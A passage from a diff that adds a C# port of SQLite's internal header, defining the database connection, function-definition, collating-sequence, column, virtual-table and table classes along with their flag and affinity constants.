buffer in the list of free buffers */ + }; + + /* + ** A hash table for function definitions. + ** + ** Hash each FuncDef structure into one of the FuncDefHash.a[] slots. + ** Collisions are on the FuncDef.pHash chain. + */ + public class FuncDefHash + { + public FuncDef[] a = new FuncDef[23]; /* Hash table for functions */ + }; + + /* + ** Each database connection is an instance of the following structure. + ** + ** The sqlite.lastRowid records the last insert rowid generated by an + ** insert statement. Inserts on views do not affect its value. Each + ** trigger has its own context, so that lastRowid can be updated inside + ** triggers as usual. The previous value will be restored once the trigger + ** exits. Upon entering a before or instead of trigger, lastRowid is no + ** longer (since after version 2.8.12) reset to -1. + ** + ** The sqlite.nChange does not count changes within triggers and keeps no + ** context. It is reset at start of sqlite3_exec. + ** The sqlite.lsChange represents the number of changes made by the last + ** insert, update, or delete statement. It remains constant throughout the + ** length of a statement and is then updated by OP_SetCounts. It keeps a + ** context stack just like lastRowid so that the count of changes + ** within a trigger is not seen outside the trigger. Changes to views do not + ** affect the value of lsChange. + ** The sqlite.csChange keeps track of the number of current changes (since + ** the last statement) and is used to update sqlite_lsChange. + ** + ** The member variables sqlite.errCode, sqlite.zErrMsg and sqlite.zErrMsg16 + ** store the most recent error code and, if applicable, string. The + ** internal function sqlite3Error() is used to set these variables + ** consistently. + */ + public class sqlite3 + { + public sqlite3_vfs pVfs; /* OS Interface */ + public int nDb; /* Number of backends currently in use */ + public Db[] aDb = new Db[SQLITE_MAX_ATTACHED]; /* All backends */ + public int flags; /* Miscellaneous flags. See below */ + public int openFlags; /* Flags passed to sqlite3_vfs.xOpen() */ + public int errCode; /* Most recent error code (SQLITE_) */ + public int errMask; /* & result codes with this before returning */ + public u8 autoCommit; /* The auto-commit flag. */ + public u8 temp_store; /* 1: file 2: memory 0: default */ + // Cannot happen under C# + // public u8 mallocFailed; /* True if we have seen a malloc failure */ + public u8 dfltLockMode; /* Default locking-mode for attached dbs */ + public int nextAutovac; /* Autovac setting after VACUUM if >=0 */ + public u8 suppressErr; /* Do not issue error messages if true */ + public u8 vtabOnConflict; /* Value to return for s3_vtab_on_conflict() */ + public int nextPagesize; /* Pagesize after VACUUM if >0 */ + public int nTable; /* Number of tables in the database */ + public CollSeq pDfltColl; /* The default collating sequence (BINARY) */ + public i64 lastRowid; /* ROWID of most recent insert (see above) */ + public u32 magic; /* Magic number for detect library misuse */ + public int nChange; /* Value returned by sqlite3_changes() */ + public int nTotalChange; /* Value returned by sqlite3_total_changes() */ + public sqlite3_mutex mutex; /* Connection mutex */ + public int[] aLimit = new int[SQLITE_N_LIMIT]; /* Limits */ + public class sqlite3InitInfo + { /* Information used during initialization */ + public int iDb; /* When back is being initialized */ + public int newTnum; /* Rootpage of table being initialized */ + public u8 busy; /* TRUE if currently initializing */ + public u8 orphanTrigger; /* Last statement is orphaned TEMP trigger */ + }; + public sqlite3InitInfo init = new sqlite3InitInfo(); + public int nExtension; /* Number of loaded extensions */ + public object[] aExtension; /* Array of shared library handles */ + public Vdbe pVdbe; /* List of active virtual machines */ + public int activeVdbeCnt; /* Number of VDBEs currently executing */ + public int writeVdbeCnt; /* Number of active VDBEs that are writing */ + public int vdbeExecCnt; /* Number of nested calls to VdbeExec() */ + public dxTrace xTrace;//)(void*,const char); /* Trace function */ + public object pTraceArg; /* Argument to the trace function */ + public dxProfile xProfile;//)(void*,const char*,u64); /* Profiling function */ + public object pProfileArg; /* Argument to profile function */ + public object pCommitArg; /* Argument to xCommitCallback() */ + public dxCommitCallback xCommitCallback;//)(void); /* Invoked at every commit. */ + public object pRollbackArg; /* Argument to xRollbackCallback() */ + public dxRollbackCallback xRollbackCallback;//)(void); /* Invoked at every commit. */ + public object pUpdateArg; + public dxUpdateCallback xUpdateCallback;//)(void*,int, const char*,const char*,sqlite_int64); +#if !SQLITE_OMIT_WAL +//int (*xWalCallback)(void *, sqlite3 *, string , int); +//void *pWalArg; +#endif + public dxCollNeeded xCollNeeded;//)(void*,sqlite3*,int eTextRep,const char); + public dxCollNeeded xCollNeeded16;//)(void*,sqlite3*,int eTextRep,const void); + public object pCollNeededArg; + public sqlite3_value pErr; /* Most recent error message */ + public string zErrMsg; /* Most recent error message (UTF-8 encoded) */ + public string zErrMsg16; /* Most recent error message (UTF-16 encoded) */ + public struct _u1 + { + public bool isInterrupted; /* True if sqlite3_interrupt has been called */ + public double notUsed1; /* Spacer */ + } + public _u1 u1; + public Lookaside lookaside = new Lookaside(); /* Lookaside malloc configuration */ +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +public dxAuth xAuth;//)(void*,int,const char*,const char*,const char*,const char); +/* Access authorization function */ +public object pAuthArg; /* 1st argument to the access auth function */ +#endif +#if !SQLITE_OMIT_PROGRESS_CALLBACK + public dxProgress xProgress;//)(void ); /* The progress callback */ + public object pProgressArg; /* Argument to the progress callback */ + public int nProgressOps; /* Number of opcodes for progress callback */ +#endif +#if !SQLITE_OMIT_VIRTUALTABLE + public Hash aModule; /* populated by sqlite3_create_module() */ + public VtabCtx pVtabCtx; /* Context for active vtab connect/create */ + public VTable[] aVTrans; /* Virtual tables with open transactions */ + public int nVTrans; /* Allocated size of aVTrans */ + public VTable pDisconnect; /* Disconnect these in next sqlite3_prepare() */ +#endif + public FuncDefHash aFunc = new FuncDefHash(); /* Hash table of connection functions */ + public Hash aCollSeq = new Hash(); /* All collating sequences */ + public BusyHandler busyHandler = new BusyHandler(); /* Busy callback */ + public int busyTimeout; /* Busy handler timeout, in msec */ + public Db[] aDbStatic = new Db[] { new Db(), new Db() }; /* Static space for the 2 default backends */ + public Savepoint pSavepoint; /* List of active savepoints */ + public int nSavepoint; /* Number of non-transaction savepoints */ + public int nStatement; /* Number of nested statement-transactions */ + public u8 isTransactionSavepoint; /* True if the outermost savepoint is a TS */ + public i64 nDeferredCons; /* Net deferred constraints this transaction. */ + public int pnBytesFreed; /* If not NULL, increment this in DbFree() */ +#if SQLITE_ENABLE_UNLOCK_NOTIFY +/* The following variables are all protected by the STATIC_MASTER +** mutex, not by sqlite3.mutex. They are used by code in notify.c. +** +** When X.pUnlockConnection==Y, that means that X is waiting for Y to +** unlock so that it can proceed. +** +** When X.pBlockingConnection==Y, that means that something that X tried +** tried to do recently failed with an SQLITE_LOCKED error due to locks +** held by Y. +*/ +sqlite3 *pBlockingConnection; /* Connection that caused SQLITE_LOCKED */ +sqlite3 *pUnlockConnection; /* Connection to watch for unlock */ +void *pUnlockArg; /* Argument to xUnlockNotify */ +void (*xUnlockNotify)(void **, int); /* Unlock notify callback */ +sqlite3 *pNextBlocked; /* Next in list of all blocked connections */ +#endif + }; + + /* + ** A macro to discover the encoding of a database. + */ + //#define ENC(db) ((db)->aDb[0].pSchema->enc) + static u8 ENC( sqlite3 db ) + { + return db.aDb[0].pSchema.enc; + } + + /* + ** Possible values for the sqlite3.flags. + */ + //#define SQLITE_VdbeTrace 0x00000100 /* True to trace VDBE execution */ + //#define SQLITE_InternChanges 0x00000200 /* Uncommitted Hash table changes */ + //#define SQLITE_FullColNames 0x00000400 /* Show full column names on SELECT */ + //#define SQLITE_ShortColNames 0x00000800 /* Show short columns names */ + //#define SQLITE_CountRows 0x00001000 /* Count rows changed by INSERT, */ + // /* DELETE, or UPDATE and return */ + // /* the count using a callback. */ + //#define SQLITE_NullCallback 0x00002000 /* Invoke the callback once if the */ + // /* result set is empty */ + //#define SQLITE_SqlTrace 0x00004000 /* Debug print SQL as it executes */ + //#define SQLITE_VdbeListing 0x00008000 /* Debug listings of VDBE programs */ + //#define SQLITE_WriteSchema 0x00010000 /* OK to update SQLITE_MASTER */ + //#define SQLITE_NoReadlock 0x00020000 /* Readlocks are omitted when + // ** accessing read-only databases */ + //#define SQLITE_IgnoreChecks 0x00040000 /* Do not enforce check constraints */ + //#define SQLITE_ReadUncommitted 0x0080000 /* For shared-cache mode */ + //#define SQLITE_LegacyFileFmt 0x00100000 /* Create new databases in format 1 */ + //#define SQLITE_FullFSync 0x00200000 /* Use full fsync on the backend */ + //#define SQLITE_CkptFullFSync 0x00400000 /* Use full fsync for checkpoint */ + //#define SQLITE_RecoveryMode 0x00800000 /* Ignore schema errors */ + //#define SQLITE_ReverseOrder 0x01000000 /* Reverse unordered SELECTs */ + //#define SQLITE_RecTriggers 0x02000000 /* Enable recursive triggers */ + //#define SQLITE_ForeignKeys 0x04000000 /* Enforce foreign key constraints */ + //#define SQLITE_AutoIndex 0x08000000 /* Enable automatic indexes */ + //#define SQLITE_PreferBuiltin 0x10000000 /* Preference to built-in funcs */ + //#define SQLITE_LoadExtension 0x20000000 /* Enable load_extension */ + //define SQLITE_EnableTrigger 0x40000000 /* True to enable triggers */ + const int SQLITE_VdbeTrace = 0x00000100; + const int SQLITE_InternChanges = 0x00000200; + const int SQLITE_FullColNames = 0x00000400; + const int SQLITE_ShortColNames = 0x00000800; + const int SQLITE_CountRows = 0x00001000; + const int SQLITE_NullCallback = 0x00002000; + const int SQLITE_SqlTrace = 0x00004000; + const int SQLITE_VdbeListing = 0x00008000; + const int SQLITE_WriteSchema = 0x00010000; + const int SQLITE_NoReadlock = 0x00020000; + const int SQLITE_IgnoreChecks = 0x00040000; + const int SQLITE_ReadUncommitted = 0x0080000; + const int SQLITE_LegacyFileFmt = 0x00100000; + const int SQLITE_FullFSync = 0x00200000; + const int SQLITE_CkptFullFSync = 0x00400000; + const int SQLITE_RecoveryMode = 0x00800000; + const int SQLITE_ReverseOrder = 0x01000000; + const int SQLITE_RecTriggers = 0x02000000; + const int SQLITE_ForeignKeys = 0x04000000; + const int SQLITE_AutoIndex = 0x08000000; + const int SQLITE_PreferBuiltin = 0x10000000; + const int SQLITE_LoadExtension = 0x20000000; + const int SQLITE_EnableTrigger = 0x40000000; + + /* + ** Bits of the sqlite3.flags field that are used by the + ** sqlite3_test_control(SQLITE_TESTCTRL_OPTIMIZATIONS,...) interface. + ** These must be the low-order bits of the flags field. + */ + //#define SQLITE_QueryFlattener 0x01 /* Disable query flattening */ + //#define SQLITE_ColumnCache 0x02 /* Disable the column cache */ + //#define SQLITE_IndexSort 0x04 /* Disable indexes for sorting */ + //#define SQLITE_IndexSearch 0x08 /* Disable indexes for searching */ + //#define SQLITE_IndexCover 0x10 /* Disable index covering table */ + //#define SQLITE_GroupByOrder 0x20 /* Disable GROUPBY cover of ORDERBY */ + //#define SQLITE_FactorOutConst 0x40 /* Disable factoring out constants */ + //#define SQLITE_IdxRealAsInt 0x80 /* Store REAL as INT in indices */ + //#define SQLITE_OptMask 0xff /* Mask of all disablable opts */ + const int SQLITE_QueryFlattener = 0x01; + const int SQLITE_ColumnCache = 0x02; + const int SQLITE_IndexSort = 0x04; + const int SQLITE_IndexSearch = 0x08; + const int SQLITE_IndexCover = 0x10; + const int SQLITE_GroupByOrder = 0x20; + const int SQLITE_FactorOutConst = 0x40; + const int SQLITE_IdxRealAsInt = 0x80; + const int SQLITE_OptMask = 0xff; + + /* + ** Possible values for the sqlite.magic field. + ** The numbers are obtained at random and have no special meaning, other + ** than being distinct from one another. + */ + const int SQLITE_MAGIC_OPEN = 0x1029a697; //#define SQLITE_MAGIC_OPEN 0xa029a697 /* Database is open */ + const int SQLITE_MAGIC_CLOSED = 0x2f3c2d33; //#define SQLITE_MAGIC_CLOSED 0x9f3c2d33 /* Database is closed */ + const int SQLITE_MAGIC_SICK = 0x3b771290; //#define SQLITE_MAGIC_SICK 0x4b771290 /* Error and awaiting close */ + const int SQLITE_MAGIC_BUSY = 0x403b7906; //#define SQLITE_MAGIC_BUSY 0xf03b7906 /* Database currently in use */ + const int SQLITE_MAGIC_ERROR = 0x55357930; //#define SQLITE_MAGIC_ERROR 0xb5357930 /* An SQLITE_MISUSE error occurred */ + + /* + ** Each SQL function is defined by an instance of the following + ** structure. A pointer to this structure is stored in the sqlite.aFunc + ** hash table. When multiple functions have the same name, the hash table + ** points to a linked list of these structures. + */ + public class FuncDef + { + public i16 nArg; /* Number of arguments. -1 means unlimited */ + public u8 iPrefEnc; /* Preferred text encoding (SQLITE_UTF8, 16LE, 16BE) */ + public u8 flags; /* Some combination of SQLITE_FUNC_* */ + public object pUserData; /* User data parameter */ + public FuncDef pNext; /* Next function with same name */ + public dxFunc xFunc;//)(sqlite3_context*,int,sqlite3_value*); /* Regular function */ + public dxStep xStep;//)(sqlite3_context*,int,sqlite3_value*); /* Aggregate step */ + public dxFinal xFinalize;//)(sqlite3_context); /* Aggregate finalizer */ + public string zName; /* SQL name of the function. */ + public FuncDef pHash; /* Next with a different name but the same hash */ + public FuncDestructor pDestructor; /* Reference counted destructor function */ + + public FuncDef() + { + } + + public FuncDef( i16 nArg, u8 iPrefEnc, u8 iflags, object pUserData, FuncDef pNext, dxFunc xFunc, dxStep xStep, dxFinal xFinalize, string zName, FuncDef pHash, FuncDestructor pDestructor ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = iflags; + this.pUserData = pUserData; + this.pNext = pNext; + this.xFunc = xFunc; + this.xStep = xStep; + this.xFinalize = xFinalize; + this.zName = zName; + this.pHash = pHash; + this.pDestructor = pDestructor; + } + public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxFunc xFunc ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = iflags; + this.pUserData = iArg; + this.pNext = null; + this.xFunc = xFunc; + this.xStep = null; + this.xFinalize = null; + this.zName = zName; + } + + public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxStep xStep, dxFinal xFinal ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = iflags; + this.pUserData = iArg; + this.pNext = null; + this.xFunc = null; + this.xStep = xStep; + this.xFinalize = xFinal; + this.zName = zName; + } + + public FuncDef( string zName, u8 iPrefEnc, i16 nArg, object arg, dxFunc xFunc, u8 flags ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = flags; + this.pUserData = arg; + this.pNext = null; + this.xFunc = xFunc; + this.xStep = null; + this.xFinalize = null; + this.zName = zName; + } + + public FuncDef Copy() + { + FuncDef c = new FuncDef(); + c.nArg = nArg; + c.iPrefEnc = iPrefEnc; + c.flags = flags; + c.pUserData = pUserData; + c.pNext = pNext; + c.xFunc = xFunc; + c.xStep = xStep; + c.xFinalize = xFinalize; + c.zName = zName; + c.pHash = pHash; + c.pDestructor = pDestructor; + return c; + } + }; + + /* + ** This structure encapsulates a user-function destructor callback (as + ** configured using create_function_v2()) and a reference counter. When + ** create_function_v2() is called to create a function with a destructor, + ** a single object of this type is allocated. FuncDestructor.nRef is set to + ** the number of FuncDef objects created (either 1 or 3, depending on whether + ** or not the specified encoding is SQLITE_ANY). The FuncDef.pDestructor + ** member of each of the new FuncDef objects is set to point to the allocated + ** FuncDestructor. + ** + ** Thereafter, when one of the FuncDef objects is deleted, the reference + ** count on this object is decremented. When it reaches 0, the destructor + ** is invoked and the FuncDestructor structure freed. + */ + //struct FuncDestructor { + // int nRef; + // void (*xDestroy)(void ); + // void *pUserData; + //}; + public class FuncDestructor + { + public int nRef; + public dxFDestroy xDestroy;// (*xDestroy)(void ); + public object pUserData; + }; + + + /* + ** Possible values for FuncDef.flags + */ + //#define SQLITE_FUNC_LIKE 0x01 /* Candidate for the LIKE optimization */ + //#define SQLITE_FUNC_CASE 0x02 /* Case-sensitive LIKE-type function */ + //#define SQLITE_FUNC_EPHEM 0x04 /* Ephemeral. Delete with VDBE */ + //#define SQLITE_FUNC_NEEDCOLL 0x08 /* sqlite3GetFuncCollSeq() might be called */ + //#define SQLITE_FUNC_PRIVATE 0x10 /* Allowed for internal use only */ + //#define SQLITE_FUNC_COUNT 0x20 /* Built-in count() aggregate */ + //#define SQLITE_FUNC_COALESCE 0x40 /* Built-in coalesce() or ifnull() function */ + const int SQLITE_FUNC_LIKE = 0x01; /* Candidate for the LIKE optimization */ + const int SQLITE_FUNC_CASE = 0x02; /* Case-sensitive LIKE-type function */ + const int SQLITE_FUNC_EPHEM = 0x04; /* Ephermeral. Delete with VDBE */ + const int SQLITE_FUNC_NEEDCOLL = 0x08;/* sqlite3GetFuncCollSeq() might be called */ + const int SQLITE_FUNC_PRIVATE = 0x10; /* Allowed for internal use only */ + const int SQLITE_FUNC_COUNT = 0x20; /* Built-in count() aggregate */ + const int SQLITE_FUNC_COALESCE = 0x40;/* Built-in coalesce() or ifnull() function */ + + + /* + ** The following three macros, FUNCTION(), LIKEFUNC() and AGGREGATE() are + ** used to create the initializers for the FuncDef structures. + ** + ** FUNCTION(zName, nArg, iArg, bNC, xFunc) + ** Used to create a scalar function definition of a function zName + ** implemented by C function xFunc that accepts nArg arguments. The + ** value passed as iArg is cast to a (void) and made available + ** as the user-data (sqlite3_user_data()) for the function. If + ** argument bNC is true, then the SQLITE_FUNC_NEEDCOLL flag is set. + ** + ** AGGREGATE(zName, nArg, iArg, bNC, xStep, xFinal) + ** Used to create an aggregate function definition implemented by + ** the C functions xStep and xFinal. The first four parameters + ** are interpreted in the same way as the first 4 parameters to + ** FUNCTION(). + ** + ** LIKEFUNC(zName, nArg, pArg, flags) + ** Used to create a scalar function definition of a function zName + ** that accepts nArg arguments and is implemented by a call to C + ** function likeFunc. Argument pArg is cast to a (void ) and made + ** available as the function user-data (sqlite3_user_data()). The + ** FuncDef.flags variable is set to the value passed as the flags + ** parameter. + */ + //#define FUNCTION(zName, nArg, iArg, bNC, xFunc) \ + // {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ + //SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0, 0} + + static FuncDef FUNCTION( string zName, i16 nArg, int iArg, u8 bNC, dxFunc xFunc ) + { + return new FuncDef( zName, SQLITE_UTF8, nArg, iArg, (u8)( bNC * SQLITE_FUNC_NEEDCOLL ), xFunc ); + } + + //#define STR_FUNCTION(zName, nArg, pArg, bNC, xFunc) \ + // {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ + //pArg, 0, xFunc, 0, 0, #zName, 0, 0} + + //#define LIKEFUNC(zName, nArg, arg, flags) \ + // {nArg, SQLITE_UTF8, flags, (void )arg, 0, likeFunc, 0, 0, #zName, 0, 0} + static FuncDef LIKEFUNC( string zName, i16 nArg, object arg, u8 flags ) + { + return new FuncDef( zName, SQLITE_UTF8, nArg, arg, likeFunc, flags ); + } + + //#define AGGREGATE(zName, nArg, arg, nc, xStep, xFinal) \ + // {nArg, SQLITE_UTF8, nc*SQLITE_FUNC_NEEDCOLL, \ + //SQLITE_INT_TO_PTR(arg), 0, 0, xStep,xFinal,#zName,0,0} + + static FuncDef AGGREGATE( string zName, i16 nArg, int arg, u8 nc, dxStep xStep, dxFinal xFinal ) + { + return new FuncDef( zName, SQLITE_UTF8, nArg, arg, (u8)( nc * SQLITE_FUNC_NEEDCOLL ), xStep, xFinal ); + } + + /* + ** All current savepoints are stored in a linked list starting at + ** sqlite3.pSavepoint. The first element in the list is the most recently + ** opened savepoint. Savepoints are added to the list by the vdbe + ** OP_Savepoint instruction. + */ + //struct Savepoint { + // string zName; /* Savepoint name (nul-terminated) */ + // i64 nDeferredCons; /* Number of deferred fk violations */ + // Savepoint *pNext; /* Parent savepoint (if any) */ + //}; + public class Savepoint + { + public string zName; /* Savepoint name (nul-terminated) */ + public i64 nDeferredCons; /* Number of deferred fk violations */ + public Savepoint pNext; /* Parent savepoint (if any) */ + }; + /* + ** The following are used as the second parameter to sqlite3Savepoint(), + ** and as the P1 argument to the OP_Savepoint instruction. + */ + const int SAVEPOINT_BEGIN = 0; //#define SAVEPOINT_BEGIN 0 + const int SAVEPOINT_RELEASE = 1; //#define SAVEPOINT_RELEASE 1 + const int SAVEPOINT_ROLLBACK = 2; //#define SAVEPOINT_ROLLBACK 2 + + /* + ** Each SQLite module (virtual table definition) is defined by an + ** instance of the following structure, stored in the sqlite3.aModule + ** hash table. + */ + public class Module + { + public sqlite3_module pModule; /* Callback pointers */ + public string zName; /* Name passed to create_module() */ + public object pAux; /* pAux passed to create_module() */ + public smdxDestroy xDestroy;//)(void );/* Module destructor function */ + }; + + /* + ** information about each column of an SQL table is held in an instance + ** of this structure. + */ + public class Column + { + public string zName; /* Name of this column */ + public Expr pDflt; /* Default value of this column */ + public string zDflt; /* Original text of the default value */ + public string zType; /* Data type for this column */ + public string zColl; /* Collating sequence. If NULL, use the default */ + public u8 notNull; /* True if there is a NOT NULL constraint */ + public u8 isPrimKey; /* True if this column is part of the PRIMARY KEY */ + public char affinity; /* One of the SQLITE_AFF_... values */ +#if !SQLITE_OMIT_VIRTUALTABLE +public u8 isHidden; /* True if this column is 'hidden' */ +#endif + public Column Copy() + { + Column cp = (Column)MemberwiseClone(); + if ( cp.pDflt != null ) + cp.pDflt = pDflt.Copy(); + return cp; + } + }; + + /* + ** A "Collating Sequence" is defined by an instance of the following + ** structure. Conceptually, a collating sequence consists of a name and + ** a comparison routine that defines the order of that sequence. + ** + ** There may two separate implementations of the collation function, one + ** that processes text in UTF-8 encoding (CollSeq.xCmp) and another that + ** processes text encoded in UTF-16 (CollSeq.xCmp16), using the machine + ** native byte order. When a collation sequence is invoked, SQLite selects + ** the version that will require the least expensive encoding + ** translations, if any. + ** + ** The CollSeq.pUser member variable is an extra parameter that passed in + ** as the first argument to the UTF-8 comparison function, xCmp. + ** CollSeq.pUser16 is the equivalent for the UTF-16 comparison function, + ** xCmp16. + ** + ** If both CollSeq.xCmp and CollSeq.xCmp16 are NULL, it means that the + ** collating sequence is undefined. Indices built on an undefined + ** collating sequence may not be read or written. + */ + public class CollSeq + { + public string zName; /* Name of the collating sequence, UTF-8 encoded */ + public u8 enc; /* Text encoding handled by xCmp() */ + public u8 type; /* One of the SQLITE_COLL_... values below */ + public object pUser; /* First argument to xCmp() */ + public dxCompare xCmp;//)(void*,int, const void*, int, const void); + public dxDelCollSeq xDel;//)(void); /* Destructor for pUser */ + + public CollSeq Copy() + { + if ( this == null ) + return null; + else + { + CollSeq cp = (CollSeq)MemberwiseClone(); + return cp; + } + } + }; + + /* + ** Allowed values of CollSeq.type: + */ + const int SQLITE_COLL_BINARY = 1;//#define SQLITE_COLL_BINARY 1 /* The default memcmp() collating sequence */ + const int SQLITE_COLL_NOCASE = 2;//#define SQLITE_COLL_NOCASE 2 /* The built-in NOCASE collating sequence */ + const int SQLITE_COLL_REVERSE = 3;//#define SQLITE_COLL_REVERSE 3 /* The built-in REVERSE collating sequence */ + const int SQLITE_COLL_USER = 0;//#define SQLITE_COLL_USER 0 /* Any other user-defined collating sequence */ + + /* + ** A sort order can be either ASC or DESC. + */ + const int SQLITE_SO_ASC = 0;//#define SQLITE_SO_ASC 0 /* Sort in ascending order */ + const int SQLITE_SO_DESC = 1;//#define SQLITE_SO_DESC 1 /* Sort in ascending order */ + + /* + ** Column affinity types. + ** + ** These used to have mnemonic name like 'i' for SQLITE_AFF_INTEGER and + ** 't' for SQLITE_AFF_TEXT. But we can save a little space and improve + ** the speed a little by numbering the values consecutively. + ** + ** But rather than start with 0 or 1, we begin with 'a'. That way, + ** when multiple affinity types are concatenated into a string and + ** used as the P4 operand, they will be more readable. + ** + ** Note also that the numeric types are grouped together so that testing + ** for a numeric type is a single comparison. + */ + const char SQLITE_AFF_TEXT = 'a';//#define SQLITE_AFF_TEXT 'a' + const char SQLITE_AFF_NONE = 'b';//#define SQLITE_AFF_NONE 'b' + const char SQLITE_AFF_NUMERIC = 'c';//#define SQLITE_AFF_NUMERIC 'c' + const char SQLITE_AFF_INTEGER = 'd';//#define SQLITE_AFF_INTEGER 'd' + const char SQLITE_AFF_REAL = 'e';//#define SQLITE_AFF_REAL 'e' + + //#define sqlite3IsNumericAffinity(X) ((X)>=SQLITE_AFF_NUMERIC) + + /* + ** The SQLITE_AFF_MASK values masks off the significant bits of an + ** affinity value. + */ + const int SQLITE_AFF_MASK = 0x67;//#define SQLITE_AFF_MASK 0x67 + + /* + ** Additional bit values that can be ORed with an affinity without + ** changing the affinity. + */ + const int SQLITE_JUMPIFNULL = 0x08; //#define SQLITE_JUMPIFNULL 0x08 /* jumps if either operand is NULL */ + const int SQLITE_STOREP2 = 0x10; //#define SQLITE_STOREP2 0x10 /* Store result in reg[P2] rather than jump */ + const int SQLITE_NULLEQ = 0x80; //#define SQLITE_NULLEQ 0x80 /* NULL=NULL */ + + /* + ** An object of this type is created for each virtual table present in + ** the database schema. + ** + ** If the database schema is shared, then there is one instance of this + ** structure for each database connection (sqlite3) that uses the shared + ** schema. This is because each database connection requires its own unique + ** instance of the sqlite3_vtab* handle used to access the virtual table + ** implementation. sqlite3_vtab* handles can not be shared between + ** database connections, even when the rest of the in-memory database + ** schema is shared, as the implementation often stores the database + ** connection handle passed to it via the xConnect() or xCreate() method + ** during initialization internally. This database connection handle may + ** then be used by the virtual table implementation to access real tables + ** within the database. So that they appear as part of the callers + ** transaction, these accesses need to be made via the same database + ** connection as that used to execute SQL operations on the virtual table. + ** + ** All VTable objects that correspond to a single table in a shared + ** database schema are initially stored in a linked-list pointed to by + ** the Table.pVTable member variable of the corresponding Table object. + ** When an sqlite3_prepare() operation is required to access the virtual + ** table, it searches the list for the VTable that corresponds to the + ** database connection doing the preparing so as to use the correct + ** sqlite3_vtab* handle in the compiled query. + ** + ** When an in-memory Table object is deleted (for example when the + ** schema is being reloaded for some reason), the VTable objects are not + ** deleted and the sqlite3_vtab* handles are not xDisconnect()ed + ** immediately. Instead, they are moved from the Table.pVTable list to + ** another linked list headed by the sqlite3.pDisconnect member of the + ** corresponding sqlite3 structure. They are then deleted/xDisconnected + ** next time a statement is prepared using said sqlite3*. This is done + ** to avoid deadlock issues involving multiple sqlite3.mutex mutexes. + ** Refer to comments above function sqlite3VtabUnlockList() for an + ** explanation as to why it is safe to add an entry to an sqlite3.pDisconnect + ** list without holding the corresponding sqlite3.mutex mutex. + ** + ** The memory for objects of this type is always allocated by + ** sqlite3DbMalloc(), using the connection handle stored in VTable.db as + ** the first argument. + */ + public class VTable + { + public sqlite3 db; /* Database connection associated with this table */ + public Module pMod; /* Pointer to module implementation */ + public sqlite3_vtab pVtab; /* Pointer to vtab instance */ + public int nRef; /* Number of pointers to this structure */ + public u8 bConstraint; /* True if constraints are supported */ + public int iSavepoint; /* Depth of the SAVEPOINT stack */ + public VTable pNext; /* Next in linked list (see above) */ + }; + + /* + ** Each SQL table is represented in memory by an instance of the + ** following structure. + ** + ** Table.zName is the name of the table. The case of the original + ** CREATE TABLE statement is stored, but case is not significant for + ** comparisons. + ** + ** Table.nCol is the number of columns in this table. Table.aCol is a + ** pointer to an array of Column structures, one for each column. + ** + ** If the table has an INTEGER PRIMARY KEY, then Table.iPKey is the index of + ** the column that is that key. Otherwise Table.iPKey is negative. Note + ** that the datatype of the PRIMARY KEY must be INTEGER for this field to + ** be set. An INTEGER PRIMARY KEY is used as the rowid for each row of + ** the table. If a table has no INTEGER PRIMARY KEY, then a random rowid + ** is generated for each row of the table. TF_HasPrimaryKey is set if + ** the table has any PRIMARY KEY, INTEGER or otherwise. + ** + ** Table.tnum is the page number for the root BTree page of the table in the + ** database file. If Table.iDb is the index of the database table backend + ** in sqlite.aDb[]. 0 is for the main database and 1 is for the file that + ** holds temporary tables and indices. If TF_Ephemeral is set + ** then the table is stored in a file that is automatically deleted + ** when the VDBE cursor to the table is closed. In this case Table.tnum + ** refers VDBE cursor number that holds the table open, not to the root + ** page number. Transient tables are used to hold the results of a + ** sub-query that appears instead of a real table name in the FROM clause + ** of a SELECT statement. + */ + public class Table + { + public string zName; /* Name of the table or view */ + public int iPKey; /* If not negative, use aCol[iPKey] as the primary key */ + public int nCol; /* Number of columns in this table */ + public Column[] aCol; /* Information about each column */ + public Index pIndex; /* List of SQL indexes on this table. */ + public int tnum; /* Root BTree node for this table (see note above) */ + public u32 nRowEst; /* Estimated rows in table - from sqlite_stat1 table */ + public Select pSelect; /* NULL for tables. Points to definition if a view. */ + public u16 nRef; /* Number of pointers to this Table */ + public u8 tabFlags; /* Mask of TF_* values */ + public u8 keyConf; /* What to do in case of uniqueness conflict on iPKey */ + public FKey pFKey; /* Linked list of all foreign keys in this table */ + public string zColAff; /* String defining the affinity of each column */ +#if !SQLITE_OMIT_CHECK + public Expr pCheck; /* The AND of all CHECK constraints */ +#endif +#if !SQLITE_OMIT_ALTERTABLE + public int addColOffset; /* Offset in CREATE TABLE stmt to add a new column */ +#endif +#if !SQLITE_OMIT_VIRTUALTABLE + public VTable pVTable; /* List of VTable objects. */ + public int nModuleArg; /* Number of arguments to the module */ + public string[] azModuleArg;/* Text of all module args. [0] is module name */ +#endif + public Trigger pTrigger; /* List of SQL triggers on this table */ + public Schema pSchema; /* Schema that contains this table */ + public Table pNextZombie; /* Next on the Parse.pZombieTab list */ + + public Table Copy() + { + if ( this == null ) + return null; + else + { + Table cp = (Table)MemberwiseClone(); + if ( pIndex != null ) + cp.pIndex = pIndex.Copy(); + if ( pSelect != null ) + cp.pSelect = pSelect.Copy(); + if ( pTrigger != null ) + cp.pTrigger = pTrigger.Copy(); + if ( pFKey != null ) + cp.pFKey = pFKey.Copy(); +#if !SQLITE_OMIT_CHECK + // Don't Clone Checks, only copy reference via Memberwise Clone above -- + //if ( pCheck != null ) cp.pCheck = pCheck.Copy(); +#endif + // Don't Clone Schema, only copy reference via Memberwise Clone above -- + // if ( pSchema != null ) cp.pSchema=pSchema.Copy(); + // Don't Clone pNextZombie, only copy reference via Memberwise Clone above -- + // if ( pNextZombie != null ) cp.pNextZombie=pNextZombie.Copy(); + return cp; + } + } + }; + + /* + ** Allowed values for Tabe.tabFlags. + */ + //#define TF_Readonly 0x01 /* Read-only system table */ + //#define TF_Ephemeral 0x02 /* An ephemeral table */ + //#define 